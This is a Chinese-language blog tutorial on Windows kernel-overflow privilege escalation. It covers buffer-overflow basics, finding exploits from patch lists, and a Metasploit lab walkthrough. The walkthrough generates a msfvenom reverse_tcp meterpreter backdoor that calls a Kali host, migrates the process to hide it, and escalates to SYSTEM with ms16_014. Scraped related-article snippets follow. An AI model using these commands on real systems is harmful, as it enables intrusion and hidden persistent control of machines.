Windows系统内核溢出漏洞提权
目录
Windows内核溢出漏洞原理
溢出漏洞简介
什么是缓冲区
缓冲区溢出
缓冲区溢出目的
Windows内核溢出漏洞利用流程
提权实战思路
手工提权测试
辅助提权
EXP如何寻找
使用MSF提权
关于提权时可能遇到的问题
如果提权的时候发现无法执行命令的话,可以上传一个cmd.exe到可读写目录再执行

Windows内核溢出漏洞原理
溢出漏洞的全名:缓冲区溢出漏洞。
溢出漏洞简介
溢出漏洞是一种计算机程序的可更正性缺陷。
因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。
什么是缓冲区
在内存空间中预留了一定的存储空间用来缓冲输入或输出的数据。 通俗的讲,缓冲区就是当你打开应用程序或者文件的时候,系统会将数据从内存中复制一份到缓冲区,当再次打开时,系统直接从缓冲区读取,提高打开的速度。
缓冲区溢出
在程序试图将数据放到及其内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。缓冲区溢出就好比是将十升水放进只有五升容量的桶里。很显然,一旦容器满了,余下的部分就会溢出在地板上,弄得一团糟。
缓冲区溢出目的
缓冲区溢出的目的在于扰乱具有某些运行特权的程序的功能,这样可以让攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。
在实际场景中,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区时可能会出现两种结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以劫持进程、执行任意指令,甚至可以取得系统权限。
Windows内核溢出漏洞利用流程
Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序,溢出Administrator权限。
提权流程:
(1) 获取到一个低权限shell后,执行systeminfo命令查看系统安装的补丁列表
(2) 根据补丁程序与微软的漏洞数据库进行比较,找出可能导致权限提升的漏洞.
提权实战思路
大概有两种思路:
- 基于手工测试
- 基于工具的自动化提权:MSF/CS
手工提权测试
主要思路就是获取系统上的补丁信息,根据第三网站或者项目寻找EXP。
辅助提权
Github项目:WindowsVulnScan/version1 at master · chroblert/WindowsVulnScan · GitHub
该工具如何使用请参考我得另外一篇博客:提权神器:WindowsVulnScan_貌美不及玲珑心,贤妻扶我青云志的博客-CSDN博客
这款工具测试Win7系统时遭遇失败:

还有第三方分析的网站:提权辅助网页 Windows提权辅助

分析结果:

之后就是根据结果寻找EXP测试
EXP如何寻找
Github上的项目推荐:
GitHub - Ascotbe/Kernelhub: Linux、macOS、Windows Kernel privilege escalation vulnerability collection, with compilation environment, demo GIF map, vulnerability details, executable file (提权漏洞合集)
GitHub - nomi-sec/PoC-in-GitHub: 📡 PoC auto collect from GitHub. ⚠️ Be careful Malware.
项目上集成有大量的EXP,根据上面信息收集获得可利用漏洞逐一尝试即可。
使用MSF提权
测试环境
靶机: Win7 192.168.226.133
攻击机:Kali 192.168.226.132
生成木马:使用第一条命令生成木马 test.exe
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.226.132 LPORT=3333 -f exe -o test.exe (32位)msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp
LHOST=192.168.226.132 LPORT=3333 -f exe -o test.exe (64位)

进入监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
exploit
另外需要注意一个位置,exe的位置要注意,我们权限低,目录没有修改权限,需要放在我们具有修改执行权限的目录下。
还有就是监听的网卡设置,0.0.0.0 表示监听所有的网卡
这样就建立号后门链接了

上线后进行进程迁移(隐藏自己),把进程迁移到explore.exe中,1844为进程的pid
migrate 1844
接下来开始提权,使用post/multi/recon/local_exploit_suggester这个模块进行测试
system为Win7最高权限,开始提权!首先输入background命令将session放到后台

执行攻击模块,它可以快速识别系统中可利用的漏洞
use post/multi/recon/local_exploit_suggester
set session 2
run

获得了可以用来利用提权的模块,使用对应的脚本然后进行提权即可
use exploit/windows/local/ms16_014_wmi_recv_notif
set session 2
run

成功提权
![]()
关于提权时可能遇到的问题
如何管理会话
sessions -l 显示所有的会话
sessions -i ID 连接指定的会话
在利用msf进行提权操作是出现timed out:Error running command shell: Rex::TimeoutError Operation timed out.
虚拟切换为NAT模式即可

MSF漏洞利用完成但无法创建会话的几种原因
参考博客:MSF漏洞利用完成但无法创建会话的几种原因_漏洞利用成功但未建立会话_Q1X1的博客-CSDN博客
如果提权的时候发现无法执行命令的话,可以上传一个cmd.exe到可读写目录再执行
相关文章:
Windows系统内核溢出漏洞提权
目录 Windows内核溢出漏洞原理 溢出漏洞简介 什么是缓冲区 缓冲区溢出 缓冲区溢出目的 Windows内核溢出漏洞利用流程 提权实战思路 手工提权测试 辅助提权 EXP如何寻找 使用MSF提权 关于提权时可能遇到的问题 如果提权的时候发现无法执行命令的话,可以上…...
BlackIce病毒分析
概述 blackice是一个古老的感染型病毒,可感染系统中exe、doc和xls文件,通过USB设备和网络驱动器来传播,会向C&C下载pe执行,会关闭常用的杀软进程。下面找了一个样本,这个样本的代码结构清晰,用IDA pro…...
软件测试基础知识整理(八)- 软件缺陷
目录 一、软件缺陷 1.1 缺陷定义 1.2 缺陷判定标准 1.3 软件缺陷产生的原因 1.4 软件缺陷产生的根源 1.5 软件缺陷信息 1.5.1 缺陷状态 1.5.2 缺陷严重程度 1.5.3 缺陷优先级 1.6 缺陷报告模板 1.7 缺陷报告注意事项 1.8 缺陷跟踪流程 1.9 缺陷数据分析关注的问题 …...
有没有想过一种可能,30岁之后,转行去做IT售前?
灵魂拷问 IT行业的变化是非常迅速的,各种新技术、新产品、新观念、新的业务模式层出不穷,不仅是我们,客户也在不断地学习进步,因此我们注定要终身学习。 IT售前这个岗位为许多IT职场人提供了一种新的选择: 你不需要成为某一方面…...
基于决策树的Ensemble方法在边缘计算中的应用
随着物联网的普及,边缘计算已成为一种重要的技术手段。在边缘计算中,数据的处理和分析都是在设备端进行的,而不是通过云端进行。这种技术可以大大降低网络带宽和响应时间,从而提高了用户体验。但是,边缘设备通常受到计…...
golang常见导致panic的场景
1、越界 常见有数组越界和字符串越界 2、空指针引用 直接引用空指针结构体的字段会引发panic,但调用成员方法里如果没引用结构体的字段不会引发panic 3、断言失败 4、map操作错误 map未初始化,可读不可写。 map的value如果是结构体指针…...
Python 修改文件权限+只读后几行 can‘t do nonzero end-relative seeks
读后几行使用File Handle : seek 文件处理 # -*- coding: UTF-8 -*-# 打开文件 fo open("runoob.txt", "rw") print "文件名为: ", fo.nameline fo.readline() print "读取的数据为: %s" % (line)# 重新设置文件读取指针到开头 fo.…...
每日学术速递5.25
CV - 计算机视觉 | ML - 机器学习 | RL - 强化学习 | NLP 自然语言处理 Subjects: cs.CV 1.Chupa: Carving 3D Clothed Humans from Skinned Shape Priors using 2D Diffusion Probabilistic Models 标题:Chupa:使用 2D 扩散概率模型从蒙皮形状先验雕…...
GAMES202作业1
目录 Shadow MapCalcLightMVP函数useShadowMap函数Bias函数 最终效果 PCF两个采样函数PCF函数最终效果 PCSSfindBlocker函数PCSS函数最终效果 参考 先放上公式: 后面的积分项是我们在作业0中就做好的blinnphong项,我们要求的就是积分项前,等…...
Android 12.0状态栏居中显示时间和修改时间显示样式
1.概述 在12.0的系统rom定制化开发中,在systemui状态栏系统时间默认显示在左边和通知显示在一起,但是客户想修改显示位置,想显示在中间,所以就要修改SystemUI 的Clock.java 文件这个就是管理显示时间的,居中显示的话就得修改布局文件了 效果图如下: 在这里插入图片描述 …...
湍流的数值模拟方法概述
湍流,又称紊流,是一种极其复杂、极不规则、极不稳定的三维流动。湍流场内充满着尺度大小不同的旋涡,大旋涡尺度可以与整个流畅区域相当,而小漩涡尺度往往只有流场尺度千分之一的数量级,最小尺度旋涡的尺度通过其耗散掉…...
openFast中的陆上风电机组5MW_Land_DLL_WTurb参数详解
文章目录 一、openFAST是什么?二、参数截图三、参数详解 一、openFAST是什么? openFAST是一种开放源代码的工具,为风能工程师提供了用于模拟和设计风力涡轮机的框架。它可以计算风力涡轮机在各种环境条件下的性能,并提供对风力涡…...
“卷”还是“躺平”?职场人如何在工作中找到价值感?
今天不谈技术,只谈进步。 曾经看过一个回答说“职场人最好的姿势是仰卧起坐”。 卷累的就躺,休息好了再继续卷,卷是常态,“仰卧起坐”也好,“卷的姿势”也好,都是在反复“卷起”的过程中寻找一些舒适和平衡…...
《Opencv3编程入门》学习笔记—第二章
《Opencv3编程入门》学习笔记 记录一下在学习《Opencv3编程入门》这本书时遇到的问题或重要的知识点。 第二章 OpenCV 官方例程引导与赏析 openv官方提供的示例程序:具体位于..\opencv\sources\samples\cpp ..\opencv\sources\samples\cpp\tutorial_code路径下存…...
ABP VNext种子数据按顺序插入
ABP VNext种子数据按顺序插入 1.Domain层1.1 新加Author和Book实体1.2 CustomDataSeedDbMigrationService新加方法1.3新加ISowSeed接口1.4 作者和图书种子数据逻辑1.5 新加CustomDataSeedDataSeederContributor 2.EntityFrameworkCore2.1 CustomDataSeedDbContext2.2 生成迁移脚…...
Verilog | FIFO简单实现
FIFO( First Input First Output)简单说就是指先进先出,也是缓存机制的一种,下面是我总结的 FIFO 的三大用途: 1)提高传输效率,增加 DDR 带宽的利用率。比如我们有 4 路视频数据缓存到 DDR 中去,比较笨的方法是&#x…...
设计模式应用场景
设计模式简介 工厂模式(Factory Pattern):使用工厂方法创建对象,而不是使用new关键字直接实例化对象。 抽象工厂模式(Abstract Factory Pattern):提供一个创建一系列相关对象的接口,…...
还在老一套?STM32使用新KEIL5的IDE,全新开发模式RTE介绍及使用
Keil新版本出来了,推出了一种全新开发模式RTE框架( Run-Time Environment),更好用了。然而网上的教程资料竟还都是把Keil5当成Keil4来用,直接不使用这个功能。当前正点原子或野火的教程提供的例程虽有提到Keil5,但也是基本上当Kei…...
Java时间类(十一) -- Date类工具类 -- Java获取当天、本周、本月、本年 开始及结束时间
目录 1. 今天的日期如下: 2. DateUtils工具类的源代码: 3. 测试类 1. 今天的日期如下:...
Alma Linux 9.2、Rocky Linux 9.2现在是RHEL 9.2的替代品
随着Red Hat Enterprise Linux (RHEL) 9.2的发布,Alma Linux 9.2和Rocky Linux 9.2成为了RHEL 9.2的备选替代品。这两个Linux发行版旨在提供与RHEL兼容的功能和稳定性,以满足那些需要企业级操作系统的用户需求。本文将详细介绍Alma Linux 9.2和Rocky Lin…...
Oracle查询表空间大小
1 查询数据库中所有的表空间以及表空间所占空间的大小 SELECTtablespace_name,sum( bytes ) / 1024 / 1024 FROMdba_data_files GROUP BYtablespace_name; 2 Oracle查询表空间大小及每个表所占空间的大小 SELECTtablespace_name,file_id,file_name,round( bytes / ( 1024 …...
条件运算符
C中的三目运算符(也称条件运算符,英文:ternary operator)是一种简洁的条件选择语句,语法如下: 条件表达式 ? 表达式1 : 表达式2• 如果“条件表达式”为true,则整个表达式的结果为“表达式1”…...
剑指offer20_链表中环的入口节点
链表中环的入口节点 给定一个链表,若其中包含环,则输出环的入口节点。 若其中不包含环,则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...
C++ 基础特性深度解析
目录 引言 一、命名空间(namespace) C 中的命名空间 与 C 语言的对比 二、缺省参数 C 中的缺省参数 与 C 语言的对比 三、引用(reference) C 中的引用 与 C 语言的对比 四、inline(内联函数…...
【Web 进阶篇】优雅的接口设计:统一响应、全局异常处理与参数校验
系列回顾: 在上一篇中,我们成功地为应用集成了数据库,并使用 Spring Data JPA 实现了基本的 CRUD API。我们的应用现在能“记忆”数据了!但是,如果你仔细审视那些 API,会发现它们还很“粗糙”:有…...
Ascend NPU上适配Step-Audio模型
1 概述 1.1 简述 Step-Audio 是业界首个集语音理解与生成控制一体化的产品级开源实时语音对话系统,支持多语言对话(如 中文,英文,日语),语音情感(如 开心,悲伤)&#x…...
Axios请求超时重发机制
Axios 超时重新请求实现方案 在 Axios 中实现超时重新请求可以通过以下几种方式: 1. 使用拦截器实现自动重试 import axios from axios;// 创建axios实例 const instance axios.create();// 设置超时时间 instance.defaults.timeout 5000;// 最大重试次数 cons…...
pikachu靶场通关笔记22-1 SQL注入05-1-insert注入(报错法)
目录 一、SQL注入 二、insert注入 三、报错型注入 四、updatexml函数 五、源码审计 六、insert渗透实战 1、渗透准备 2、获取数据库名database 3、获取表名table 4、获取列名column 5、获取字段 本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关࿰…...
AI书签管理工具开发全记录(十九):嵌入资源处理
1.前言 📝 在上一篇文章中,我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源,方便后续将资源打包到一个可执行文件中。 2.embed介绍 🎯 Go 1.16 引入了革命性的 embed 包,彻底改变了静态资源管理的…...
佰力博科技与您探讨热释电测量的几种方法
热释电的测量主要涉及热释电系数的测定,这是表征热释电材料性能的重要参数。热释电系数的测量方法主要包括静态法、动态法和积分电荷法。其中,积分电荷法最为常用,其原理是通过测量在电容器上积累的热释电电荷,从而确定热释电系数…...
